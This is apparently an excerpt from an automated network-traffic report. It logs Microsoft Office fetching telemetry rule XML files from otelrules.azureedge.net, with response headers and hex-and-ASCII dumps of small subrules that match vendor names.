2024-10-29 16:59:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:17 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:17 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165917Z-16849878b785dznd7xpawq9gcn000000085g00000000h84a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:17 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:17 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:17 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 4900665d-501e-0029-5111-29d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165917Z-15b8d89586f42m673h1quuee4s0000000b0g0000000010s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:17 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:17 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:18 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165918Z-16849878b785dznd7xpawq9gcn000000085g00000000h85k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:18 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:18 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:18 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c417f1b6-b01e-0084-279b-27d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165918Z-15b8d89586f6nn8zqg1h5suba80000000220000000008rrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:18 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:18 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:18 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165918Z-16849878b78p8hrf1se7fucxk800000007r0000000009q40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:18 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:18 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:18 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165918Z-16849878b787wpl5wqkt5731b400000007gg00000000mdat x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:18 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:18 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:18 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 809859d7-601e-00ab-6828-2666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165918Z-r197bdfb6b4skzzvqpzzd3xetg000000064000000000f400 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:18 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:18 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 2a6eba0c-f01e-001f-0a87-295dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165918Z-17c5cb586f6w4mfs5xcmnrny6n00000008n0000000006cat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:19 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 336bf192-401e-00ac-1a67-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165919Z-15b8d89586fnsf5zkvx8tfb0zc00000001xg00000000cfhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:19 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d0d63b60-601e-0050-7d63-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165919Z-17c5cb586f6w4mfs5xcmnrny6n00000008g000000000bn5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:19 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165919Z-16849878b785dznd7xpawq9gcn000000082000000000xfmg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:19 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
